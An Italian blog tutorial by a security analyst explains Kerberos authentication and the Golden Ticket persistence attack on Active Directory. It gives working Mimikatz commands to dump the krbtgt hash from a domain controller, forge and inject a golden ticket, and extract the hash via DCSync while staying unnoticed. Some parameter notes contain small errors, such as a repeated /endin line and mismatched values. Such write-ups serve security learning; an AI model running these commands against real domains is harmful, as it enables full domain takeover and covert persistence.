Andrea Bruschi, Cyber Security Analyst

Persistence, Kerberos Golden Ticket

Published by Andy

Kerberos

In informatica e telecomunicazioni Kerberos è un protocollo di rete per l'autenticazione tramite crittografia che permette a diversi terminali di comunicare su una rete informatica insicura provando la propria identità e cifrando i dati. Kerberos previene attacchi quali l'intercettazione e i replay attack ed assicura l'integrità dei dati. E' alla base dell'autenticazione in un ambiente Active Directory. I suoi progettisti mirarono soprattutto ad un modello client-server, e fornisce una mutua autenticazione cioè sia l'utente sia il fornitore del servizio possono verificare l'identità dell'altro. Si basa sulla crittografia simmetrica e richiede una terza parte affidabile. (Fonte: Wikipedia)

Di seguito il principio di funzionamento del protocollo Kerberos.

  • 1 - KDC: Key Distribution Center. Ha accesso a tutte le informazioni quali hashes, accounts, passwords etc.
  • 2 - TGT: Ticket-Granting Ticket. E' la risposta che KDC invia al client, è criptato e contiene NTLM hash di un account speciale: krbtgt.
  • 3 - TGS: Ticket Granting Service. Il client reinvia a KDC il TGT che ha ricevuto e richiede il TGS per l'Application server. KDC decripta il TGT e verifica/valida l' NTLM hash dell'account krbtgt. Se KDC è in grado di decriptare il TGT, KDC assume che, a prescindere da tutto quello che è contenuto dentro al TGT, quest'ultimo sia valido. Questa è l'unica forma di validazione che viene effettuata.
  • 4 La risposta contenente il TGS viene inviata nuovamente al client e contiene l'hash NTLM del servizio a cui si vuole accedere.
  • 5 Il client presenta il TGS all'application server che decripterà il ticket e garantirà o meno l'accesso alla macchina o al servizio con determinati privilegi.
  • 6 Mutual Auth opzionale per evitare che il client invii il ticket a application server fasulli.

Golden Ticket

E' un attacco che si posiziona all'interno dello step 3 del diagramma illustrato. Un golden ticket è firmato e criptato dall'hash dell'account di krbtgt che lo renderà un ticket valido. Dal momento che viene fatta la validazione dell'account utente dal controller di dominio (KDC) solo se il TGT è più vecchio di 20 minuti, possiamo anche usare account eliminati o revocati finchè il TGT non supera questo periodo di tempo. L'hash di krbtgt può essere utilizzato per impersonare qualsiasi utente con qualsiasi privilegio anche da una macchina che non è presente nel dominio. Il cambio della password non ha effetto in questo tipo di attacco. Quindi se riusciamo ad avere l'hash di krbtgt possiamo forgiare un golden ticket e presentarlo al KDC che lo validerà semplicemente decriptandolo.

Accedere all'account krbtgt

Per accedere a questo account ci viene in soccorso Mimikatz. Nel controller di dominio (DC) eseguire (come amministratore):

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName controller-dc

Comando per creare un golden ticket

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:do.main.local /sid:S-1-5-21-268341927-4156871508-1792461683 /krbtgt:a9b30e5b0dc865eadcea9411e4ade72d id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
  • kerberos::golden : Nome del modulo
  • /User:Administrator : Username per cui generare il TGT
  • /domain:do.main.local : Domain FQDN
  • sid:blabla : SID del dominio
  • /krbtgt:hash : NTLM (RC4) hash dell'account krbtgt. Usare /aes128 e /aes256 per usare chiavi AES
  • /id:500 /groups:512 : User RID opzionale (default 500) e gruppo (default 513 512 520 518 519)
  • /ptt : Inietta il ticket nel processo corrente di PowerShell, non c'è bisogno di salvare il ticket su disco
  • /ticket : salva il ticket su disco
  • /startoffset:0 : Optional quando il ticket è disponibile (default 0, adesso) in minuti. Usare valore negativo per un ticket valido anche nel passato e un numero più grande nel futuro.
  • /endin:600 : Vita del ticket, optional. (default 10 anni) in minuti. Default AD è 10 ore = 600 min.
  • /endin:600 : Vita del ticket con rinnovo, optional (default 10 anni). in minuti. Default AD è 7 giorni = 100800.

L'unica informazione che necessita di privilegi di amministratore per essere enumerata è l'hash di krbtgt.

Il comando klist visualizza un elenco dei ticket Kerberos attualmente memorizzati nella cache.

DCSync attack

Per estrarre l'hash dell'account krbtgt è possibile utilizzare questo attacco. E' un'alternativa che ci evita di lanciare Invoke-Mimikatz nel Domain Controller. Richiede privilegi DA e ci permette di restare bene in incognito.

Invoke-Mimikats -Command '"lsadump::dcsync /user:domain\krbtgt"'
This article is my 7th oldest. It is 692 words long